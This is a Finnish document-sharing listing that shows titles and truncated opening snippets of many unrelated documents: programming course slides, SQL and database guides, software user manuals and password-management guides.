SELVITYSRAPORTTI LABRA-VERKON MYSQL:n JA PHP:n KÄYTTÖÖNOTOSTA. Jarkko Kähkönen SELVITYSRAPORTTI LABRA-VERKON MYSQL:n JA PHP:n KÄYTTÖÖNOTOSTA Sisällysluettelo Luku 1 - Oman LABRA-sivutilan asennus ja käyttöönotto... 2 1.1 - LABRA-osoitteesi... 2 1.2 LABRA-tilan käyttö (verkko-asemana

Lisätiedot

OHJE 1 (14) Peruskoulun ensimmäiselle luokalle ilmoittautuminen Wilmassa

OHJE 1 (14) Peruskoulun ensimmäiselle luokalle ilmoittautuminen Wilmassa OHJE 1 (14) Peruskoulun ensimmäiselle luokalle ilmoittautuminen Wilmassa Wilman hakemukset ja muut lomakkeet EIVÄT NÄY mobiililaitteisiin asennettavissa Wilma-sovelluksissa. Huoltajan tulee siis käyttää

Lisätiedot

Salasanojen hallinta. Salasanojen hallintaopas RESTAURANT ENTERPRISE SOLUTION

Salasanojen hallinta. Salasanojen hallintaopas RESTAURANT ENTERPRISE SOLUTION Salasanojen hallinta Salasanojen hallintaopas RESTAURANT ENTERPRISE SOLUTION Restaurant Enterprise Solution Asiakirjan tarkoitus Tämä asiakirja kertoo tarvittavat säännöt kuinka hallinnoida RES salasanoja

Lisätiedot

Alkuarvot ja tyyppimuunnokset (1/5) Alkuarvot ja tyyppimuunnokset (2/5) Alkuarvot ja tyyppimuunnokset (3/5)

Alkuarvot ja tyyppimuunnokset (1/5) Alkuarvot ja tyyppimuunnokset (2/5) Alkuarvot ja tyyppimuunnokset (3/5) Alkuarvot ja tyyppimuunnokset (1/5) Aiemmin olemme jo antaneet muuttujille alkuarvoja, esimerkiksi: int luku = 123; Alkuarvon on oltava muuttujan tietotyypin mukainen, esimerkiksi int-muuttujilla kokonaisluku,

Lisätiedot

Toteutusdokumentti. Aija. Helsinki 1.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteenlaitos

Toteutusdokumentti. Aija. Helsinki 1.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteenlaitos Toteutusdokumentti Aija Helsinki 1.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteenlaitos Sisältö 1. Johdanto...3 2. SQL -lauseet...3 3. Ajastettutoiminta - backrun.php...3

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 4.3.2009 T-106.1208 Ohjelmoinnin perusteet Y 4.3.2009 1 / 35 Tiedostot Tiedostojen käsittelyä tarvitaan esimerkiksi seuraavissa tilanteissa: Ohjelman käsittelemiä

Lisätiedot

ATK tähtitieteessä. Osa 3 - IDL proseduurit ja rakenteet. 18. syyskuuta 2014

ATK tähtitieteessä. Osa 3 - IDL proseduurit ja rakenteet. 18. syyskuuta 2014 18. syyskuuta 2014 IDL - proseduurit Viimeksi käsiteltiin IDL:n interaktiivista käyttöä, mutta tämä on hyvin kömpelöä monimutkaisempia asioita tehtäessä. IDL:llä on mahdollista tehdä ns. proseduuri-tiedostoja,

Lisätiedot

Visma Nova. Visma Nova ASP käyttö ja ohjeet

Visma Nova. Visma Nova ASP käyttö ja ohjeet Visma Nova Visma Nova ASP käyttö ja ohjeet Oppaan päiväys: 2.2.2012. Helpdesk: http://www.visma.fi/asiakassivut/helpdesk/ Visma Software Oy pidättää itsellään oikeuden mahdollisiin parannuksiin ja/tai

Lisätiedot

Tentti erilaiset kysymystyypit

Tentti erilaiset kysymystyypit Tentti erilaiset kysymystyypit Monivalinta Monivalintatehtävässä opiskelija valitsee vastauksen valmiiden vastausvaihtoehtojen joukosta. Tehtävään voi olla yksi tai useampi oikea vastaus. Varmista, että

Lisätiedot

Action Request System

Action Request System Action Request System Manu Karjalainen Ohjelmistotuotantovälineet seminaari HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos 25.10.2000 Action Request System (ARS) Manu Karjalainen Ohjelmistotuotantovälineet

Lisätiedot

Julkinen. Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje

Julkinen. Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje Ohje 1 (10) Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje Sisällys 1 Johdanto... 1 2 Suojatun viestin vastaanottaminen... 1 3 Suojatun viestin lukeminen... 2 4 Vastaanotetun

Lisätiedot

Harjoitustyö: virtuaalikone

Harjoitustyö: virtuaalikone Harjoitustyö: virtuaalikone Toteuta alla kuvattu virtuaalikone yksinkertaiselle olio-orientoituneelle skriptauskielelle. Paketissa on testaamista varten mukana kaksi lyhyttä ohjelmaa. Ohjeita Noudata ohjelman

Lisätiedot

1 Visma L7 päivitysaineiston nouto

1 Visma L7 päivitysaineiston nouto 1 Visma L7 päivitysaineiston nouto Tässä ohjeessa kerrotaan, kuinka Visma L7 -järjestelmän master-ympäristö päivitetään etäpäivitysohjelman avulla. 1.1 Etäpäivitysohjelman asennus/päivitys Saat etäpäivitysohjelman

Lisätiedot

Ohjelmoinnin peruskurssi Y1

Ohjelmoinnin peruskurssi Y1 Ohjelmoinnin peruskurssi Y1 CSE-A1111 30.9.2015 CSE-A1111 Ohjelmoinnin peruskurssi Y1 30.9.2015 1 / 27 Mahdollisuus antaa luentopalautetta Goblinissa vasemmassa reunassa olevassa valikossa on valinta Luentopalaute.

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 17.2.2010 T-106.1208 Ohjelmoinnin perusteet Y 17.2.2010 1 / 41 Sanakirja Monissa sovelluksissa on tallennettava rakenteeseen avain arvo-pareja. Myöhemmin rakenteesta

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 1.4.2009 T-106.1208 Ohjelmoinnin perusteet Y 1.4.2009 1 / 56 Tentti Ensimmäinen tenttimahdollisuus on pe 8.5. klo 13:00 17:00 päärakennuksessa. Tämän jälkeen

Lisätiedot

12. Näppäimistöltä lukeminen 12.1

12. Näppäimistöltä lukeminen 12.1 12. Näppäimistöltä lukeminen 12.1 Sisällys Arvojen lukeminen näppäimistöltä yleisesti. Arvojen lukeminen näppäimistöltä Java-kielessä. In-luokka. Luetun arvon tarkistaminen. Tietovirrat ja ohjausmerkit.

Lisätiedot

Koottu lause; { ja } -merkkien väliin kirjoitetut lauseet muodostavat lohkon, jonka sisällä lauseet suoritetaan peräkkäin.

Koottu lause; { ja } -merkkien väliin kirjoitetut lauseet muodostavat lohkon, jonka sisällä lauseet suoritetaan peräkkäin. 2. Ohjausrakenteet Ohjausrakenteiden avulla ohjataan ohjelman suoritusta. peräkkäisyys valinta toisto Koottu lause; { ja } -merkkien väliin kirjoitetut lauseet muodostavat lohkon, jonka sisällä lauseet

Lisätiedot

Kirjasto Relaatiotietokannat Kevät 2001. Auvinen Annemari Niemi Anu Passoja Jonna Pulli Jari Tersa Tiina

Kirjasto Relaatiotietokannat Kevät 2001. Auvinen Annemari Niemi Anu Passoja Jonna Pulli Jari Tersa Tiina Kirjasto Kevät 2001 Auvinen Annemari Niemi Anu Harjoitustyö 7.4.2001 Sisällysluettelo 1. Yleiskuvaus... 3 2. Vaatimukset... 3 2.1. Toiminnalliset... 3 2.1.1. Sisäänkirjautuminen... 3 2.1.2. Nimikkeiden

Lisätiedot

Luento 3. Timo Savola. 7. huhtikuuta 2006

Luento 3. Timo Savola. 7. huhtikuuta 2006 UNIX-käyttöjärjestelmä Luento 3 Timo Savola 7. huhtikuuta 2006 Osa I Käyttöoikeudet Käyttöoikeudet Monen käyttäjän järjestelmä Prosessit kuuluvat eri käyttäjille Tiedostot kuuluvat

Lisätiedot

Tehtävä 1. Tietojen lisääminen, poistaminen, päivittäminen ja tulostaminen

Tehtävä 1. Tietojen lisääminen, poistaminen, päivittäminen ja tulostaminen Esimerkki: Tehtävä 1. Tietojen lisääminen, poistaminen, päivittäminen ja tulostaminen Luo tietokanta Koulu. Tietokantaan lisätään 3 taulua. Kurssit-taulu: kurssiid not null primary key INTEGER aineid not

Lisätiedot

TIETOKANNAT: MYSQL & POSTGRESQL Seminaarityö

TIETOKANNAT: MYSQL & POSTGRESQL Seminaarityö TIETOKANNAT: MYSQL & POSTGRESQL Seminaarityö Tekijät: Eemeli Honkonen Joni Metsälä Työ palautettu: SISÄLLYSLUETTELO: 1 SEMINAARITYÖN KUVAUS... 3 2 TIETOKANTA... 3 2.1 MITÄ TIETOKANNAT SITTEN OVAT?... 3

Lisätiedot

Formaalit menetelmät: Kirjaston formalisointi Z-kuvauskielellä

Formaalit menetelmät: Kirjaston formalisointi Z-kuvauskielellä Formaalit menetelmät: Kirjaston formalisointi Z-kuvauskielellä 7.5.2002 Annemari Auvinen Anu Niemi Sisällysluettelo 1 Perustana olevat käyttötapaukset... 1 1.1 Käyttäjäryhmät... 1 1.2 Järjestelmään sisäänkirjautuminen...

Lisätiedot

Ohjelmointikielet ja -paradigmat 5op. Markus Norrena

Ohjelmointikielet ja -paradigmat 5op. Markus Norrena Ohjelmointikielet ja -paradigmat 5op Markus Norrena Ko#tehtävä 4 Viimeistele "alkeellinen kuvagalleria". Käytännössä kaksi sivua Yksi jolla voi ladata kuvia palvelimelle (file upload) Toinen jolla ladattuja

Lisätiedot

Tentti erilaiset kysymystyypit

Tentti erilaiset kysymystyypit Tentti erilaiset kysymystyypit Kysymystyyppien kanssa kannatta huomioida, että ne ovat yhteydessä tentin asetuksiin ja erityisesti Kysymysten toimintatapa-kohtaan, jossa määritellään arvioidaanko kysymykset

Lisätiedot

Sisällys. 1. Omat operaatiot. Yleistä operaatioista. Yleistä operaatioista

Sisällys. 1. Omat operaatiot. Yleistä operaatioista. Yleistä operaatioista Sisällys 1. Omat operaatiot Yleistä operaatioista. Mihin operaatioita tarvitaan? Oman operaation määrittely. Yleisesti, nimeäminen ja hyvä ohjelmointitapa, määreet, parametrit ja näkyvyys. HelloWorld-ohjelma

Lisätiedot

PROSEDUURIT, FUNKTIOT JA HERÄTTIMET - ESIMERKKEINÄ ORACLE, SQL SERVER, MYSQL JA OCELOT JOUNI HUOTARI K2009

PROSEDUURIT, FUNKTIOT JA HERÄTTIMET - ESIMERKKEINÄ ORACLE, SQL SERVER, MYSQL JA OCELOT JOUNI HUOTARI K2009 PROSEDUURIT, FUNKTIOT JA HERÄTTIMET - ESIMERKKEINÄ ORACLE, SQL SERVER, MYSQL JA OCELOT JOUNI HUOTARI K2009 PROSEDUURIT Ohjelmamoduuleita, jotka voidaan tallettaa tietokantaan (DBMS:n tietohakemistoon)

Lisätiedot

FinFamily PostgreSQL installation ( ) FinFamily PostgreSQL

FinFamily PostgreSQL installation ( ) FinFamily PostgreSQL FinFamily PostgreSQL 1 Sisällys / Contents FinFamily PostgreSQL... 1 1. Asenna PostgreSQL tietokanta / Install PostgreSQL database... 3 1.1. PostgreSQL tietokannasta / About the PostgreSQL database...

Lisätiedot

RATKI 1.0 Käyttäjän ohje

RATKI 1.0 Käyttäjän ohje RATKI RATKI 1.0 Käyttäjän ohje Ohje 0.5 Luottamuksellinen Vastuuhenkilö Petri Ahola Sisällysluettelo 1. Yleistä... 3 1.1. Kuvaus... 3 1.2. Esitiedot... 3 1.3. RATKIn käyttöoikeuksien hankinta... 3 1.4.

Lisätiedot

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi);

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); Tietokannat SQL-peruskomentojen pikaopas CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); INSERT INTO table VALUES(val1,val2,... ); Lisää tauluun

Lisätiedot

Nettiposti. Nettiposti käyttöohje

Nettiposti. Nettiposti käyttöohje YKSIKÄÄN ASIAKAS EI OLE MEILLE LIIAN PIENI TAI MIKÄÄN HAASTE LIIAN SUURI. Nettiposti Nettiposti käyttöohje Tässä käyttöohjeessa kuvataan selainkäyttöisen Nettiposti sähköpostiohjelman toiminnot. Käyttöohje

Lisätiedot

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi);

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); Tietokannat SQL-peruskomentojen pikaopas CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); INSERT INTO table VALUES(val1,val2,... ); Lisää tauluun

Lisätiedot

T2V2 Vaaratilanneilmoitussanomakuvaus

T2V2 Vaaratilanneilmoitussanomakuvaus Versio: 0.3 Muokattu: 23.6.2008 2(10) SISÄLLYS 1 Tarkoitus...3 1.1 Rajaus...3 1.2 Dokumentaatio...3 2 Tietojen esitystavat...3 2.1 Numeerinen tieto...3 2.2 Päivämäärät ja kellonajat...3 2.3 Totuusarvot...4

Lisätiedot

Sisältö. 22. Taulukot. Yleistä. Yleistä

Sisältö. 22. Taulukot. Yleistä. Yleistä Sisältö 22. Taulukot Yleistä. Esittely ja luominen. Alkioiden käsittely. Kaksiulotteinen taulukko. Taulukko metodin parametrina. Taulukko ja HelloWorld-ohjelma. Taulukko paluuarvona. 22.1 22.2 Yleistä

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 19.1.2011 T-106.1208 Ohjelmoinnin perusteet Y 19.1.2011 1 / 39 Haluatko antaa palautetta luennoista? Ilmoittaudu mukaan lähettämällä ilmainen tekstiviesti Vast

Lisätiedot

Informaatiotekniikan kehitysyksikkö

Informaatiotekniikan kehitysyksikkö SAVONIA Savonia RPM Käyttöopas Informaatiotekniikan kehitysyksikkö 18.8.2011 Sisällysluettelo 1. Perusnäkymä... 3 2. Kirjautuminen... 4 3. Rekisteröinti... 5 4. Idean jättäminen... 6 4. Arviointi... 8

Lisätiedot

815338A Ohjelmointikielten periaatteet Harjoitus 2 vastaukset

815338A Ohjelmointikielten periaatteet Harjoitus 2 vastaukset 815338A Ohjelmointikielten periaatteet 2015-2016. Harjoitus 2 vastaukset Harjoituksen aiheena on BNF-merkinnän käyttö ja yhteys rekursiivisesti etenevään jäsentäjään. Tehtävä 1. Mitkä ilmaukset seuraava

Lisätiedot

Hyvä tietää ennen kuin aloitat

Hyvä tietää ennen kuin aloitat Tämä on hakijan ohje Suomen Akatemian verkkoasioinnin käyttöön. Järjestelmän käyttö edellyttää rekisteröitymistä. Hyvä tietää ennen kuin aloitat Järjestelmän tukemat selainohjelmat ja niiden versiot: Tuetut

Lisätiedot

Salasanojen turvallinen tallentaminen KeePass ohjelmalla

Salasanojen turvallinen tallentaminen KeePass ohjelmalla Salasanojen turvallinen tallentaminen KeePass ohjelmalla KeePass on vapaasti saatavilla oleva, avoimen lähdekoodin ohjelma, jonka tarkoituksena on auttaa salasanojen hallinnassa. Tämä KeePass ohje on päivitetty

Lisätiedot

Sähköpostitilin käyttöönotto. Versio 2.0

Sähköpostitilin käyttöönotto. Versio 2.0 Sähköpostitilin käyttöönotto Versio 2.0 Sivu 1 / 10 Jarno Parkkinen jarno@atflow.fi 1 Johdanto... 2 2 Thunderbird ohjelman lataus ja asennus... 3 3 Sähköpostitilin lisääminen ja käyttöönotto... 4 3.1 Tietojen

Lisätiedot

1. Omat operaatiot 1.1

1. Omat operaatiot 1.1 1. Omat operaatiot 1.1 Sisällys Yleistä operaatioista. Mihin operaatioita tarvitaan? Oman operaation määrittely. Yleisesti, nimeäminen ja hyvä ohjelmointitapa, määreet, parametrit ja näkyvyys. HelloWorld-ohjelma

Lisätiedot

Sisältö. 2. Taulukot. Yleistä. Yleistä

Sisältö. 2. Taulukot. Yleistä. Yleistä Sisältö 2. Taulukot Yleistä. Esittely ja luominen. Alkioiden käsittely. Kaksiulotteinen taulukko. Taulukko operaation parametrina. Taulukko ja HelloWorld-ohjelma. Taulukko paluuarvona. 2.1 2.2 Yleistä

Lisätiedot

Olion elinikä. Olion luominen. Olion tuhoutuminen. Olion tuhoutuminen. Kissa rontti = null; rontti = new Kissa();

Olion elinikä. Olion luominen. Olion tuhoutuminen. Olion tuhoutuminen. Kissa rontti = null; rontti = new Kissa(); Sisällys 7. Oliot ja viitteet Olio Java-kielessä. Olion luominen, elinikä ja tuhoutuminen. Viitteiden käsittelyä: sijoitus, vertailu ja varautuminen null-arvoon. Viite metodin paluuarvona.. 7.1 7.2 Olio

Lisätiedot

Tietojen syöttäminen ohjelmalle. Tietojen syöttäminen ohjelmalle Scanner-luokan avulla

Tietojen syöttäminen ohjelmalle. Tietojen syöttäminen ohjelmalle Scanner-luokan avulla Tietojen syöttäminen ohjelmalle Tähän mennessä on käsitelty Javan tulostuslauseet System.out.print ja System.out.println sekä ohjelman perusrakenneosat (muuttujat, vakiot, lauseet). Jotta päästään tekemään

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 16.2.2010 T-106.1208 Ohjelmoinnin perusteet Y 16.2.2010 1 / 41 Kännykkäpalautetteen antajia kaivataan edelleen! Ilmoittaudu mukaan lähettämällä ilmainen tekstiviesti

Lisätiedot

Järjestelmäarkkitehtuuri (TK081702)

Järjestelmäarkkitehtuuri (TK081702) Järjestelmäarkkitehtuuri (TK081702) yleistyvät verkkopalveluissa Youtube Google... Avaavat pääsyn verkkopalvelun sisältöön. Rajapintojen tarjoamia tietolähteitä yhdistelemällä luodaan uusia palveluja,

Lisätiedot

edocker PUBLISH! -paketinhallinnan käyttöohje 9/2015

edocker PUBLISH! -paketinhallinnan käyttöohje 9/2015 edocker PUBLISH! -paketinhallinnan käyttöohje 9/2015 Uusien EDTPLIB- ja PDF -pakettien vienti ohjatulla toiminnolla...3 Tiedoston tarkistus...3 Kohdejulkaisun valinta... 4 Numeron tiedot... 5 Yhteenveto...6

Lisätiedot

OTT-S99 TESTAUSLOMAKE 1(22) Käyttäjää (tunnusta) ei saa olla kannassa

OTT-S99 TESTAUSLOMAKE 1(22) Käyttäjää (tunnusta) ei saa olla kannassa OTT-S99 TESTAUSLOMAKE 1(22) Rekisteröityminen R1 Kannan pohjustus Käyttäjää (tunnusta) ei saa olla kannassa Tunnus Opiskelija Nimi Mikko Matemaatikko Osoite Matikkakuja 1 Postinro 00500 Postiosoite Helsinki

Lisätiedot

Tarva LC (Level Crossing) pikaohje Harri Peltola & Mikko Virkkunen

Tarva LC (Level Crossing) pikaohje Harri Peltola & Mikko Virkkunen Tarva LC (Level Crossing) pikaohje 17.1. 2014 Harri Peltola & Mikko Virkkunen 2 Kirjautuminen TarvaLC-ohjelmaan kirjaudutaan linkistä: http://tarvalc.myapp.info/tarvadb/tarva/tarva.html henkilökohtaisella

Lisätiedot

Yleistä. Nyt käsitellään vain taulukko (array), joka on saman tyyppisten muuttujien eli alkioiden (element) kokoelma.

Yleistä. Nyt käsitellään vain taulukko (array), joka on saman tyyppisten muuttujien eli alkioiden (element) kokoelma. 2. Taulukot 2.1 Sisältö Yleistä. Esittely ja luominen. Alkioiden käsittely. Kaksiulotteinen taulukko. Taulukko operaation parametrina. Taulukko ja HelloWorld-ohjelma. Taulukko paluuarvona. 2.2 Yleistä

Lisätiedot

RockID-varastonhallintajärjestelmän käyttöohje. v. 1.0

RockID-varastonhallintajärjestelmän käyttöohje. v. 1.0 RockID-varastonhallintajärjestelmän käyttöohje v. 1.0 Yleistä Rockstar lukijakäyttöliittymä Tuotteiden lukeminen lähtevään tilaukseen Tilaukseen kuulumattomat tuotteet Tuotteiden lukeminen tilauksesta

Lisätiedot

Ohjelmointi 1 Taulukot ja merkkijonot

Ohjelmointi 1 Taulukot ja merkkijonot Ohjelmointi 1 Taulukot ja merkkijonot Jussi Pohjolainen TAMK Tieto- ja viestintäteknologia Johdanto taulukkoon Jos ohjelmassa käytössä ainoastaan perinteisiä (yksinkertaisia) muuttujia, ohjelmien teko

Lisätiedot

Hankinnan tarjousvastauksen liittymäaineistojen kuvaukset

Hankinnan tarjousvastauksen liittymäaineistojen kuvaukset 17.09.2007 Sivu 1(7) Hankinnan tarjousvastauksen liittymäaineistojen kuvaukset... 1 Tarjouspyyntöaineiston kuvaus... 1 Otsikkotiedot... 2 Otsikkotietojen tietuekuvaus... 2 Nimiketiedot... 3 Nimiketietojen

Lisätiedot

Sähköinen kuljetuspalveluhakemus - Käyttöohje

Sähköinen kuljetuspalveluhakemus - Käyttöohje Sähköinen kuljetuspalveluhakemus - Käyttöohje Tuetut selaimet Internet Explorer 11 tai uudempi. Microsoft on päättänyt Internet Explorerin (IE) versioiden 8, 9 ja 10 tuen. Firefox 3.5 eteenpäin Opera 10.5

Lisätiedot

815338A Ohjelmointikielten periaatteet Harjoitus 3 vastaukset

815338A Ohjelmointikielten periaatteet Harjoitus 3 vastaukset 815338A Ohjelmointikielten periaatteet 2015-2016. Harjoitus 3 vastaukset Harjoituksen aiheena ovat imperatiivisten kielten muuttujiin liittyvät kysymykset. Tehtävä 1. Määritä muuttujien max_num, lista,

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 16.3.2009 T-106.1208 Ohjelmoinnin perusteet Y 16.3.2009 1 / 40 Kertausta: tiedostosta lukeminen Aluksi käsiteltävä tiedosto pitää avata: tiedostomuuttuja = open("teksti.txt","r")

Lisätiedot

WWW-sivut HTML-kielellä esitettyä hypertekstiaineistoa

WWW-sivut HTML-kielellä esitettyä hypertekstiaineistoa WWW ja tietokannat WWW-sivut HTML-kielellä esitettyä hypertekstiaineistoa tekstiä, kuvia, hyperlinkkejä Staattiset sivut kirjoitettu kerran, muuttaminen käsin ongelmana pysyminen ajantasalla Ylläpito hankalaa,

Lisätiedot

Luento 2. Timo Savola. 31. maaliskuuta 2006

Luento 2. Timo Savola. 31. maaliskuuta 2006 UNIX-käyttöjärjestelmä Luento 2 Timo Savola 31. maaliskuuta 2006 Osa I Prosessit Prosessien hierarkia Jokaisella prosessilla on numero (process ID, pid) Jokaisella prosessilla on

Lisätiedot

tään painetussa ja käsin kirjoitetussa materiaalissa usein pienillä kreikkalaisilla

tään painetussa ja käsin kirjoitetussa materiaalissa usein pienillä kreikkalaisilla 2.5. YDIN-HASKELL 19 tään painetussa ja käsin kirjoitetussa materiaalissa usein pienillä kreikkalaisilla kirjaimilla. Jos Γ ja ovat tyyppilausekkeita, niin Γ on tyyppilauseke. Nuoli kirjoitetaan koneella

Lisätiedot

OPAS KULTA2 -JÄRJESTELMÄN KÄYTTÖÖN

OPAS KULTA2 -JÄRJESTELMÄN KÄYTTÖÖN OPAS KULTA2 -JÄRJESTELMÄN KÄYTTÖÖN 1. Kulta2 -järjestelmän käyttäminen ensimmäistä kertaa s. 1-3 2. Järjestelmään kirjautuminen olemassa olevalla käyttäjätunnuksella ja salasanalla s. 4-5 3. Hakemuksen

Lisätiedot

OPISKELIJAN REKISTERÖITYMINEN JA TYÖTILA-AVAIMEN KÄYTTÖ. 1. Mitä kaikkea saan käyttööni samoilla tunnuksilla?

OPISKELIJAN REKISTERÖITYMINEN JA TYÖTILA-AVAIMEN KÄYTTÖ. 1. Mitä kaikkea saan käyttööni samoilla tunnuksilla? OPISKELIJAN REKISTERÖITYMINEN JA TYÖTILA-AVAIMEN KÄYTTÖ 1. Mitä kaikkea saan käyttööni samoilla tunnuksilla? Rekisteröitymällä saat käyttöösi koulusi hankkimat sähköiset opetus- ja oppimateriaalit. Pääset

Lisätiedot

Aloita valitsemalla aineistosiirron tapa, Classic tai Light.

Aloita valitsemalla aineistosiirron tapa, Classic tai Light. BUSINESS ONLINE, AINEISTOSIIRTO CLASSIC AINEISTON LÄHETYS Voimassa 30.6.2016 Aineistosiirtopalvelulla lähetät ja vastaanotat maksuliikeaineistot eräsiirtona, joka tehostaa yrityksesi maksuliikkeen prosesseja.

Lisätiedot

AVOIMEN YLIOPISTON MOODLE-OPAS OPISKELIJALLE

AVOIMEN YLIOPISTON MOODLE-OPAS OPISKELIJALLE AVOIMEN YLIOPISTON MOODLE-OPAS OPISKELIJALLE OHJEITA MOODLEN KÄYTTÖÖN Moodle on avoimeen lähdekoodiin perustuva verkko-oppimisympäristö. Omalta Moodlealueeltasi löydät kurssin materiaalit, tehtävät, uutiset/tiedotteet,

Lisätiedot

Ohjelmistojen mallintamisen ja tietokantojen perusteiden yhteys

Ohjelmistojen mallintamisen ja tietokantojen perusteiden yhteys Ohjelmistojen mallintamisen ja tietokantojen perusteiden yhteys Tällä kurssilla on tutustuttu ohjelmistojen mallintamiseen oliomenetelmiä ja UML:ää käyttäen Samaan aikaan järjestetyllä kurssilla on käsitelty

Lisätiedot

Lomake kannattaa asemoida taulukkoon: table. Silloin selitteet ja kentät saadaan sarakkeisiin. Kenttien ulkoasu voidaan määritellä tyyleillä.

Lomake kannattaa asemoida taulukkoon: table. Silloin selitteet ja kentät saadaan sarakkeisiin. Kenttien ulkoasu voidaan määritellä tyyleillä. Lomakkeet Lomake kannattaa asemoida taulukkoon: table. Silloin selitteet ja kentät saadaan sarakkeisiin. Kenttien ulkoasu voidaan määritellä tyyleillä. Lomakkeen tyylit kannattaa määritellä omaan, eriliseen,

Lisätiedot

Ohjelmoinnin peruskurssi Y1

Ohjelmoinnin peruskurssi Y1 Ohjelmoinnin peruskurssi Y1 CSE-A1111 26.10.2015 CSE-A1111 Ohjelmoinnin peruskurssi Y1 26.10.2015 1 / 28 Mahdollisuus antaa luentopalautetta Goblinissa vasemmassa reunassa olevassa valikossa on valinta

Lisätiedot

Uuden Peda.netin käyttöönotto

Uuden Peda.netin käyttöönotto Sisällysluettelo Uuden Peda.netin käyttöönotto...2 Sisään- ja uloskirjautuminen...2 OmaTila...3 Peda.netin yleisrakenne...4 Työvälineet - Sivut...5 Sivun lisääminen omaan profiiliin:...5 Sivun poistaminen

Lisätiedot

Osallistavan suunnittelun kyselytyökalu

Osallistavan suunnittelun kyselytyökalu Osallistavan suunnittelun kyselytyökalu Käyttöohje InnoGIS- hankkeen aikana kehitetylle pilottiversiolle Dokumentti sisältää pilottiversiona toimivan kyselyn laatimiseen ja vastaamiseen liittyvän ohjeistuksen.

Lisätiedot

Hohde Consulting 2004

Hohde Consulting 2004 Luento 5: XQuery AS-0.110 XML-kuvauskielten perusteet Janne Kalliola XQuery XQuery uudet funktiot sekvenssit muuttujat Iterointi järjestys suodatus järjestäminen Ehtorakenteet Muita toimintoja www.hohde.com

Lisätiedot

3 Verkkopalveluarkkitehtuuri

3 Verkkopalveluarkkitehtuuri 3 Verkkopalveluarkkitehtuuri Verkkopalvelun arkkitehtuuri perustuu yleisesti asiakas-palvelin -malliin Tietokantapohjaisessa (verkko)palvelussa asiakas-palvelin -malli toimii seuraavasti: 1. Käyttäjä käyttää

Lisätiedot

Testausdokumentti. Sivu: 1 / 10. Ohjelmistotuotantoprojekti Sheeple Helsingin yliopisto. Versiohistoria

Testausdokumentti. Sivu: 1 / 10. Ohjelmistotuotantoprojekti Sheeple Helsingin yliopisto. Versiohistoria Sivu: 1 / 10 Testausdokumentti Ohjelmistotuotantoprojekti Sheeple Helsingin yliopisto Versiohistoria Versio Päivitykset 0.4 Lisätty mod_form.php -tiedostoon liittyvät testit 0.5 Lisätty johdanto 1.0 Dokumentti

Lisätiedot

Java ja tietokannan käsittely (JDBC)

Java ja tietokannan käsittely (JDBC) Java ja tietokannan käsittely (JDBC) Javan tietokannan käsittely luokat (java.sql.*) Yhteys tietokantaan Tietokannan yhteyden sulkeminen Tiedon haku tietokannasta Tiedon päivitys tietokantaan Transaktio

Lisätiedot

HSMT Tietokannoista. Ville Leppänen. HSMT, c Ville Leppänen, IT, Turun yliopisto, 2008 p.1/32

HSMT Tietokannoista. Ville Leppänen. HSMT, c Ville Leppänen, IT, Turun yliopisto, 2008 p.1/32 HSMT Tietokannoista Ville Leppänen HSMT, c Ville Leppänen, IT, Turun yliopisto, 2008 p.1/32 Missä mennään... 1. Johdanto (1h) 2. Säikeet (2h) 3. Samanaikaisuudesta (2h) 4. Hajautetuista sovelluksista (1h)

Lisätiedot

Asiointitilin lomakerajapinta. Kansalaisen asiointitili

Asiointitilin lomakerajapinta. Kansalaisen asiointitili Asiointitilin lomakerajapinta Kansalaisen asiointitili Miksi? Miksi? Kansalaisen asiointitili ei mahdollistanut aikaisemmin rakenteisten viestien toimittamista viranomaiselle Rakenteiset viestit viranomaisen

Lisätiedot

Johdatus Ohjelmointiin

Johdatus Ohjelmointiin Johdatus Ohjelmointiin Syksy 2006 Viikko 2 13.9. - 14.9. Tällä viikolla käsiteltävät asiat Peruskäsitteitä Kiintoarvot Tiedon tulostus Yksinkertaiset laskutoimitukset Muuttujat Tiedon syöttäminen Hyvin

Lisätiedot

KÄYTTÖOHJE. Servia. S solutions

KÄYTTÖOHJE. Servia. S solutions KÄYTTÖOHJE Servia S solutions Versio 1.0 Servia S solutions Servia Finland Oy PL 1188 (Microkatu 1) 70211 KUOPIO puh. (017) 441 2780 info@servia.fi www.servia.fi 2001 2004 Servia Finland Oy. Kaikki oikeudet

Lisätiedot

Android ohjelmointi Tunti 5. SQLite, Cursor, Intent ja ADB

